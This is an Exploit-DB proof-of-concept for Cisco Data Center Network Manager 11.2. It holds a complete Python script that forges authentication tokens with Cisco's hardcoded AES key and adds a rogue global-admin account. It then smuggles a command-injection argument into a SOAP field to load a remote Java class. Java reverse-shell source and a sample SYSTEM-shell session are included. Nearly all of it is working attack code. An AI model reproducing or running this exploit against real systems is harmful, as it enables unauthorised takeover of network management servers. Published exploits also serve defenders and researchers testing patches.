Cisco Data Center Network Manager 11.2 - Remote Code Execution

EDB-ID:

48018


Author:

mr_me

Type:

webapps


Platform:

Java

Date:

2020-02-06


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#!/usr/bin/python
"""
Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability

Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
- Release: 11.2(1)
- Release Date: 18-Jun-2019
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
- Size: 1619.36 MB (1698022100 bytes)
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5

Bug 1: CVE-2019-15975 / ZDI-20-003
Bug 2: CVE-2019-15979 / ZDI-20-100

Notes:
======

Si.java needs to be compiled against Java 8 (the target used 1.8u201):

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Si {
    static{
        try {
            String host = "192.168.100.159";
            int port = 1337;
            String cmd = "cmd.exe";
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host,port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while(!s.isClosed()){
                while(pi.available()>0){
                    so.write(pi.read());
                }
                while(pe.available()>0){
                    so.write(pe.read());
                }
                while(si.available()>0){
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                }catch (Exception e){}
            }
            p.destroy();
            s.close();
        }catch (IOException | InterruptedException e){ }
    }
}

Example:
========

1. Modify the above Si.java to contain your connectback ip and port
2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share
3. Launch the poc.py against your target using the share

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath>
(+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'

saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
(+) attempting auth bypass 1
(+) bypassed auth! added a global admin hacker:Hacked123
(+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class
(+) starting handler on port 1337
(+) connection from 192.168.100.122
(+) pop thy shell!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
whoami
nt authority\system

C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
"""

import re
import os
import sys
import time
import base64
import socket
import requests
import calendar
import telnetlib
from uuid import uuid4
from threading import Thread
from Crypto.Cipher import AES
from xml.etree import ElementTree
from datetime import datetime, timedelta
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class AESCipher:
    def __init__(self):

        # Cisco's hardcoded key
        self.key = "s91zEQmb305F!90a"
        self.bs = 16

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)

    def encrypt(self, raw):
        raw = self._pad(raw)
        iv = "\x00" * 0x10
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(cipher.encrypt(raw))

def make_raw_token(target):
    """ craft our token """
    key = "Source Incite"
    uuid = str(uuid4()).replace("-","")[0:20]
    time = leak_time(target)
    return "%s-%s-%s" % (key, uuid, time)

def bypass_auth(target, token, usr, pwd):
    """ we use this primitive to fully bypass auth """
    global user_added_already
    d = {
        "userName" : usr,
        "password" : pwd,
        "roleName" : "global-admin"
    }
    h = { "afw-token" : token }
    uri = "https://%s/fm/fmrest/dbadmin/addUser" % target
    r = requests.post(uri, data=d, headers=h, verify=False)
    try:
        json = r.json()
    except ValueError:
        return False
    if json["resultMessage"] == "Success":
        user_added_already = False
        return True
    elif json["resultMessage"] == "User already exists.":
        user_added_already = True
        return True
    return False

def leak_time(target):
    """ leak the time from the server (not really needed) """
    uri = "https://%s/" % target
    r = requests.get(uri, verify=False)
    r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S')
    return calendar.timegm(r_time.timetuple())

def gen_token(target, usr, pwd):
    """ this authenticates via the SOAP endpoint """
    soap_body  = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">'
    soap_body += '\t<soapenv:Header/>'
    soap_body += '\t<soapenv:Body>'
    soap_body += '\t\t<ep:requestToken>'
    soap_body += '\t\t\t<username>%s</username>' % usr
    soap_body += '\t\t\t<password>%s</password>' % pwd
    soap_body += '\t\t\t<expiration>100000</expiration>'
    soap_body += '\t\t</ep:requestToken>'
    soap_body += '\t</soapenv:Body>'
    soap_body += '</soapenv:Envelope>'
    uri = "https://%s/LogonWSService/LogonWS" % target
    r = requests.post(uri, data=soap_body, verify=False)
    tree = ElementTree.fromstring(r.content)
    for elem in tree.iter():
        if elem.tag == "return":
            return elem.text
    return False

def craft_soap_header(target, usr, pwd):
    """ this generates the soap header """
    soap_header  = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
    soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd)
    soap_header += '\t</SOAP-ENV:Header>'
    return soap_header

def load_remote_class(target, smb, usr, pwd):
    """ this triggers the cmdi """
    soap_body  = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
    soap_body += craft_soap_header(target, usr, pwd)
    soap_body += '\t<soapenv:Body>'
    soap_body += '\t\t<ep:importTS>'
    soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb
    soap_body += '\t\t\t<serverIPAddress></serverIPAddress>'
    soap_body += '\t\t</ep:importTS>'
    soap_body += '\t</soapenv:Body>'
    soap_body += '</soapenv:Envelope>'
    uri = "https://%s/SanWSService/SanWS" % target
    r = requests.post(uri, data=soap_body, verify=False)
    tree = ElementTree.fromstring(r.content)
    for elem in tree.iter():
        if elem.tag == "resultMessage":
            if elem.text == "Success":
                return True
    return False

def handler(lp):
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print  "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def exec_code(t, lp, s, usr, pwd):
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    load_remote_class(t, s, usr, pwd)

def main():
    usr = "hacker"
    pwd = "Hacked123"
    if len(sys.argv) != 5:
        print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0]
        print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    s = "\\\\%s%s" % (sys.argv[3], sys.argv[4])
    i = 0

    if not ":" in c:
        print "(+) using default connectback port 4444"
        ls = c
        lp = 4444
    else:
        if not c.split(":")[1].isdigit():
            print "(-) %s is not a port number!" % cb.split(":")[1]
            sys.exit(-1)
        ls = c.split(":")[0]
        lp = int(c.split(":")[1])

    # InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition
    while 1:
        i += 1
        print "(+) attempting auth bypass %d" % i
        raw = make_raw_token(t)
        cryptor = AESCipher()
        token = cryptor.encrypt(raw)
        if bypass_auth(t, token, usr, pwd):
            if not user_added_already:
                print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd)
            else:
                print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd)
            break
        sys.stdout.write('\x1b[1A')
        sys.stdout.write('\x1b[2K')

    # we have bypassed the authentication at this point
    print "(+) attempting to load class from %s\\Si.class" % s
    exec_code(t, lp, s, usr, pwd)

if __name__ == "__main__":
    main()